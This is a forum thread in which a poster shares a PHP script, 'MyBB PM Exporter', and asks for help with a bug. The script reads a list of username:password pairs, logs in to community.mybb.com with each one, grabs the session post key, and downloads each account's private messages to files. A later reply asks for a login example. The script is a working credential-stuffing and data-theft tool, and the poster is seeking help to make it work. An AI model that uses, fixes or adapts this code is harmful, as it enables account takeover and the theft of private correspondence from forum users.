n0isy Posted August 24, 2011 Share Posted August 24, 2011 <html> <title>MyBB PM Exporter</title> <body> <form action ="<?php $_SERVER['PHP_SELF'] ?>" method="post"> URL to site: <input type ="text" name="site" value='community.mybb.com' /><br> Full path to user:pwd list: <input type ="text" name="path" value='/home/www/list.txt' /><br> <input type = "submit" value="Export" /> </form> </body> </html> <?php if(isset($_POST['path']) && isset($_POST['site'])) { $list = $_POST['path']; $url = $_POST['site']; $file = file($list); foreach($file as $line){ $explode = explode(":",$line); $username = $explode[0]; $password = $explode[1]; $crl = curl_init(); curl_setopt($crl, CURLOPT_URL, $url."/member.php"); curl_setopt($crl, CURLOPT_COOKIEFILE, "/tmp/cookie.txt"); curl_setopt($crl, CURLOPT_COOKIEJAR, "/tmp/cookie.txt"); curl_setopt($crl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($crl, CURLOPT_POST, 1); // This array will hold the field names and values. $postdata=array( "username"=>"$username", "password"=>"$password", "remember"=>"no", "submit"=>"Login", "action"=>"do_login", "url"=>$url."/member.php" ); // Tell curl we're going to send $postdata as the POST data curl_setopt ($crl, CURLOPT_POSTFIELDS, $postdata); $result=curl_exec($crl); $find_key = preg_match('/var my_post_key = "(.*?)"/',$result,$match); $my_post_key = $match[1]; curl_setopt($crl, CURLOPT_URL, $url."/private.php"); curl_setopt($crl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($crl, CURLOPT_POST, 1); // This array will hold the field names and values. $postdata=array( "my_post_key" => $my_post_key, "exportfolders[]" => "all", "dayway" => "disregard", "exportunread" => "1", "deletepms" => "0", "exporttype" => "html", "action" => "do_export", "submit" => "Export Private Messages" ); curl_setopt ($crl, CURLOPT_POSTFIELDS, $postdata); $fh = fopen($username.".html", 'w'); curl_setopt($crl, CURLOPT_FILE, $fh); curl_exec($crl); fclose($fh); curl_close($crl); } } ?> So , basically this code just opens the file where username:password is located and then it logins to community.mybb.com with each combination in that file and saves the content of pm's of logged in user. Problem is that this script allways saves pm's of only one user and it saves other usernames pm's but with the same content of the first user. Quote Link to comment Share on other sites More sharing options...
deather Posted January 30, 2014 Share Posted January 30, 2014 n0isy hi. Using this code. Do you share an example to login. thks. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.